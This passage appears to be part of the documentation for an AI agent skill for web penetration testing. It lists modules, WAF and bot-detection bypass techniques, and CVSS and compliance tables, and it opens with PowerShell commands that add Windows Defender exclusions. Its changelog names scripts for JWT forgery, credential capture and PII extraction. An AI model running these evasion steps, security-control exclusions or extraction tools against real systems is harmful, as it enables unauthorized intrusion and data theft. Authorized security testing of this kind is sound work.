[Environment]::SetEnvironmentVariable("Path", $env:Path, "User")

# Windows Defender exclusions (run as Administrator)
Add-MpPreference -ExclusionPath $toolsDir
Add-MpPreference -ExclusionProcess "nuclei.exe", "ffuf.exe"

See casperpro-windows.md for complete Windows implementation including:

• PowerShell HTTP client functions
• Windows mitmproxy integration
• Playwright automation scripts
• IDOR, JWT, injection, and race condition testing
• Complete assessment script

Reference Documents

Detailed methodologies are available in the casperpro-skill/ directory:

Core Modules

• casperpro-discovery.md - Traffic interception, API discovery with mitmproxy addons
• casperpro-authentication.md - JWT capture/manipulation, OAuth testing, session analysis
• casperpro-automation.md - Complete Python automation framework with parallel testing

Advanced Attack Modules

• casperpro-injection-advanced.md - SSRF chains, deserialization, request smuggling, cache poisoning, prototype pollution
• casperpro-evasion.md - WAF bypass (Cloudflare, AWS WAF, ModSecurity), rate limit evasion, bot detection bypass
• casperpro-api-advanced.md - GraphQL introspection/injection, WebSocket hijacking, gRPC security testing
• casperpro-business-logic.md - Financial app testing, e-commerce security, workflow/state machine testing

Enterprise Modules

• casperpro-reporting.md - CVSS 3.1 calculator, compliance mapping (OWASP/PCI-DSS/HIPAA), report generation (JSON/Markdown/HTML)
• casperpro-tools-integration.md - Integration with nuclei, sqlmap, ffuf, interactsh for comprehensive scanning

Comprehensive Testing Modules (NEW)

• casperpro-business-logic-advanced.md - Financial transactions, e-commerce logic, workflow/state machines, multi-tenant isolation
• casperpro-edge-cases.md - Type juggling, unicode normalization, mass assignment, HTTP parameter pollution, prototype pollution, ReDoS
• casperpro-enterprise-tech.md - LDAP, SAML/SSO, OAuth/OIDC, GraphQL enterprise, message queues, document generation, webhook SSRF

CI/CD & Automation

• casperpro-cicd.md - GitHub Actions, GitLab CI, Jenkins pipelines, Docker integration, SARIF output, Slack/Teams notifications

Platform-Specific Modules

• casperpro-windows.md - Complete Windows/PowerShell implementation with native functions for IDOR, JWT, injection, and race condition testing

Enterprise Capabilities

CVSS 3.1 Severity Scoring

Automatic CVSS calculation for all findings with full vector notation:

Vulnerability Type	Base Score	Vector
SQL Injection	9.8 Critical	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Remote Code Execution	9.8 Critical	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
SSRF (Internal Access)	9.1 Critical	AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
Authentication Bypass	8.6 High	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
IDOR	7.5 High	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Stored XSS	6.1 Medium	AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CSRF	4.3 Medium	AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Compliance Mapping

Automatic mapping of findings to compliance frameworks:

Framework	Coverage
OWASP Top 10 2021	A01-A10 full mapping with CWE references
PCI-DSS 4.0	Requirements 6.2, 6.3, 6.4 for web application security
HIPAA	Technical safeguards (45 CFR § 164.312)
CWE	Common Weakness Enumeration IDs for each finding
NIST CSF	Identify, Protect, Detect, Respond mapping

WAF Bypass Capabilities

Techniques for bypassing common security controls:

WAF/Protection	Bypass Methods
Cloudflare	Header rotation, IP spoofing, cache manipulation
AWS WAF	Encoding variations, chunked transfer, parameter pollution
ModSecurity	Unicode normalization, comment injection, case manipulation
Rate Limiting	Distributed requests, header rotation, IP cycling
Bot Detection	Playwright stealth mode, realistic timing, fingerprint spoofing

Advanced Attack Types

Attack Category	Techniques
SSRF	Protocol smuggling, DNS rebinding, cloud metadata access
Deserialization	Java, PHP, Python, .NET gadget chains
Request Smuggling	CL.TE, TE.CL, TE.TE variants
Cache Poisoning	Host header attacks, parameter cloaking, fat GET
Prototype Pollution	Client-side and server-side exploitation
GraphQL	Introspection bypass, batch attacks, query depth exploitation
WebSocket	CSWSH, message manipulation, origin bypass

Tool Integration

Tool	Purpose	Integration
nuclei	Template-based vulnerability scanning	Automated scanning with custom templates
sqlmap	SQL injection exploitation	Automated SQLi detection and exploitation
ffuf	Fast web fuzzing	Endpoint discovery, parameter fuzzing
interactsh	Out-of-band testing	SSRF, XXE, blind injection verification

Report Formats

Format	Use Case
JSON	Machine-readable, CI/CD integration
Markdown	Developer-friendly, Git documentation
HTML	Executive reports with styling and charts
CSV	Spreadsheet analysis, compliance tracking

Ethical Guidelines

Legal Requirements

• Obtain written authorization before testing
• Test only within defined scope
• Respect system boundaries
• Avoid causing harm or disruption

Professional Standards

• Maintain confidentiality
• Report vulnerabilities responsibly
• Follow disclosure timelines
• Provide constructive remediation guidance

Testing Philosophy

• Use safe, non-destructive payloads
• Test in isolated environments when possible
• Minimize impact on production systems
• Document all testing activities thoroughly

Version Information

Version: 2.4
Last Updated: 2026-01-13
Compatibility: OpenCode Agent Skills Framework
Stack: curl + mitmproxy + playwright + uv + python + powershell
Edition: Enterprise
Platforms: macOS, Linux, Windows
Python Package Manager: uv (REQUIRED - never use pip)

Changelog

v2.4 (2026-01-13) - Burp Suite Equivalence & JWT Forgery

• Added comprehensive "Burp Suite Feature Equivalence with mitmproxy" section
• Documented exact hook mappings: request() = Intercept, response() = Response modification
• Added 5 pre-built mitmproxy addon scripts in scripts/ directory:
  • burp_equivalent.py - Full Burp Suite equivalent (scope, intercept, match & replace, history)
  • intruder_addon.py - Sniper/Battering Ram fuzzing with SQL/NoSQL/IDOR payloads
  • live_intercept.py - Real-time credential capture, JWT replacement, PII detection
  • jwt_forge.py - JWT forgery (HS256/HS512, none algorithm, kid bypass)
  • pii_extractor.py - Automated PII extraction using forged tokens
• Documented crAPI Challenge 15 solution (weak JWT secret "crapi" allows token forgery)
• Added feature comparison table showing mitmproxy provides 90-95% of Burp Suite Pro capabilities
• Added real-time interception code examples

v2.3 (2026-01-12) - Minor Updates

• Documentation improvements

v2.2 (2026-01-11) - Comprehensive Enterprise Edition

• BREAKING: All Python package management now uses uv exclusively (pip removed)
• Added comprehensive business logic testing (financial, e-commerce, workflow)
• Added multi-tenant isolation testing
• Added edge cases and hard-to-find issues (type juggling, unicode, mass assignment, HPP, prototype pollution, ReDoS)
• Added enterprise technology testing (LDAP, SAML, OAuth, GraphQL enterprise, message queues, webhooks)
• Added complete enterprise assessment orchestrator
• Expanded Windows module with 7 comprehensive test categories
• Added 50+ new attack payloads across all modules

v2.1 (2026-01-11) - Windows Support

• Added complete Windows/PowerShell support module (casperpro-windows.md)
• PowerShell 7+ native HTTP client functions
• Windows-specific mitmproxy integration
• Playwright automation on Windows
• Parallel testing using PowerShell jobs
• Windows installation scripts (winget, uv)
• Windows Defender exclusion guidance
• Complete Windows assessment script

v2.0 (2026-01-11) - Enterprise Edition

• Added CVSS 3.1 automatic severity scoring
• Added compliance mapping (OWASP Top 10 2021, PCI-DSS 4.0, HIPAA)
• Added advanced injection module (SSRF, deserialization, request smuggling, cache poisoning)
• Added WAF bypass and evasion techniques (Cloudflare, AWS WAF, ModSecurity)
• Added GraphQL, WebSocket, and gRPC security testing
• Added business logic testing (financial apps, e-commerce, workflow attacks)
• Added nuclei, sqlmap, ffuf, interactsh integration
• Added enterprise reporting (JSON, Markdown, HTML with styling)
• Complete installation guides for macOS, Linux, Windows

v1.0 (2026-01-11) - Initial Release

• Core stack: curl + mitmproxy + playwright + python
• Traffic interception and API discovery
• Authentication testing (JWT, OAuth, sessions)
• Basic injection and IDOR testing
• Automation framework

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Remember: This stack provides capabilities that exceed traditional tools like Burp Suite. With great power comes great responsibility. Always operate within legal and ethical boundaries.